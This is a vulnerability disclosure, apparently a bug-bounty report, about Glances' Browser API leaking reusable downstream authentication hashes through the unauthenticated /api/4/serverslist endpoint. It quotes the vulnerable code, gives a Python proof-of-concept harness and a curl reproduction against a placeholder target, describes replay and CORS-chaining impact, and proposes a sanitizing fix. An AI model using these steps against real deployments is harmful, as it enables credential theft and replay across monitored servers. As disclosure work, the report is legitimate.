Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`

## Summary In Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. ## Details The Browser API route simply returns the raw servers list: ```python # glances/outputs/glances_restful_api.py:799-805 def _api_servers_list(self): self.__update_servers_list() return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else []) ``` The main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all: ```python # glances/outputs/glances_restful_api.py:475-480 if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) ``` The Glances web server binds to `0.0.0.0` by default: ```python # glances/main.py:425-427 parser.add_argument( '--bind', default='0.0.0.0', dest='bind_address', ) ``` During Central Browser polling, server entries are modified in-place and gain a `uri` field: ```python # glances/servers_list.py:141-148 def __update_stats(self, server): server['uri'] = self.get_uri(server) ... if server['protocol'].lower() == 'rpc': self.__update_stats_rpc(server['uri'], server) elif server['protocol'].lower() == 'rest' and not import_requests_error_tag: self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server) ``` For protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI: ```python # glances/servers_list.py:119-130 def get_uri(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clear_password = self.password.get_password(server['name']) if clear_password is not None: server['password'] = self.password.get_hash(clear_password) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri ``` Password lookup falls back to a global default: ```python # glances/password_list.py:55-58 try: return self._password_dict[host] except (KeyError, TypeError): return self._password_dict['default'] ``` The sample configuration explicitly supports browser-wide default password reuse: ```ini # conf/glances.conf:656-663 [passwords] # localhost=abc # default=defaultpassword ``` The secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication: ```python # glances/password.py:72-74,94 # For Glances client, get the password (confirm=False, clear=True): # 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit password = password_hash ``` ```python # glances/client.py:56-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}' ``` The Browser WebUI also consumes that raw `uri` directly and redirects the user to it: ```javascript // glances/outputs/static/js/Browser.vue:83-103 fetch("api/4/serverslist", { method: "GET" }) ... window.location.href = server.uri; ``` So once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript. ## PoC ### Step 1: Verified local live proof that server objects contain credential-bearing URIs The following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials. ```bash cd D:\bugcrowd\glances\repo @' import importlib.util import json import sys import threading import types from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from defusedxml import xmlrpc as defused_xmlrpc pkg = types.ModuleType('glances') pkg.__apiversion__ = '4' sys.modules['glances'] = pkg client_mod = types.ModuleType('glances.client') class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport): def set_timeout(self, timeout): self.timeout = timeout client_mod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = client_mod globals_mod = types.ModuleType('glances.globals') globals_mod.json_loads = json.loads sys.modules['glances.globals'] = globals_mod logger_mod = types.ModuleType('glances.logger') logger_mod.logger = types.SimpleNamespace( debug=lambda *a, **k: None, warning=lambda *a, **k: None, info=lambda *a, **k: None, error=lambda *a, **k: None, ) sys.modules['glances.logger'] = logger_mod password_list_mod = types.ModuleType('glances.password_list') class GlancesPasswordList: pass password_list_mod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.password_list'] = password_list_mod dynamic_mod = types.ModuleType('glances.servers_list_dynamic') class GlancesAutoDiscoverServer: pass dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.servers_list_dynamic'] = dynamic_mod static_mod = types.ModuleType('glances.servers_list_static') class GlancesStaticServer: pass static_mod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.servers_list_static'] = static_mod spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py')) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) GlancesServersList = mod.GlancesServersList class Handler(BaseHTTPRequestHandler): def do_POST(self): _ = self.rfile.read(int(self.headers.get('Content-Length', '0'))) self.send_response(401) self.end_headers() def log_message(self, *args): pass httpd = HTTPServer(('127.0.0.1', 0), Handler) port = httpd.server_address[1] thread = threading.Thread(target=httpd.serve_forever, daemon=True) thread.start() class FakePassword: def get_password(self, host=None): return 'defaultpassword' def get_hash(self, password): return f'hash({password})' sl = GlancesServersList.__new__(GlancesServersList) sl.password = FakePassword() sl._columns = [{'plugin': 'system', 'field': 'hr_name'}] server = { 'key': f'target:{port}', 'name': '127.0.0.1', 'ip': '203.0.113.77', 'port': port, 'protocol': 'rpc', 'username': 'glances', 'password': '', 'status': 'UNKNOWN', 'type': 'STATIC', } sl.get_servers_list = lambda: [server] sl._GlancesServersList__update_stats(server) sl._GlancesServersList__update_stats(server) httpd.shutdown() thread.join(timeout=2) print(json.dumps(sl.get_servers_list(), indent=2)) '@ | python - ``` Verified output: ```json [ { "key": "target:57390", "name": "127.0.0.1", "ip": "203.0.113.77", "port": 57390, "protocol": "rpc", "username": "glances", "password": null, "status": "PROTECTED", "type": "STATIC", "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390", "columns": [ "system_hr_name" ] } ] ``` This is the same raw object shape that `/api/4/serverslist` returns. ### Step 2: Remote reproduction on a live Browser instance 1. Configure Glances Browser mode with a saved default password for downstream servers: ```ini [passwords] default=SuperSecretBrowserPassword ``` 2. Start the Browser/API instance without front-end authentication: ```bash glances --browser -w -C ./glances.conf ``` 3. Ensure at least one protected downstream server is polled and marked `PROTECTED`. 4. From any machine that can reach the Glances Browser API, fetch the raw server list: ```bash curl -s http://TARGET:61208/api/4/serverslist ``` 5. Observe entries like: ```json { "name": "internal-glances.example", "status": "PROTECTED", "uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209" } ``` ## Impact - **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`. - **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password. - **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet. - **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin. ## Recommended Fix Do not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth. ```python # glances/outputs/glances_restful_api.py def _sanitize_server(self, server): safe = dict(server) safe.pop('password', None) safe.pop('uri', None) return safe def _api_servers_list(self): self.__update_servers_list() servers = self.servers_list.get_servers_list() if self.servers_list else [] return GlancesJSONResponse([self._sanitize_server(server) for server in servers]) ``` And in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.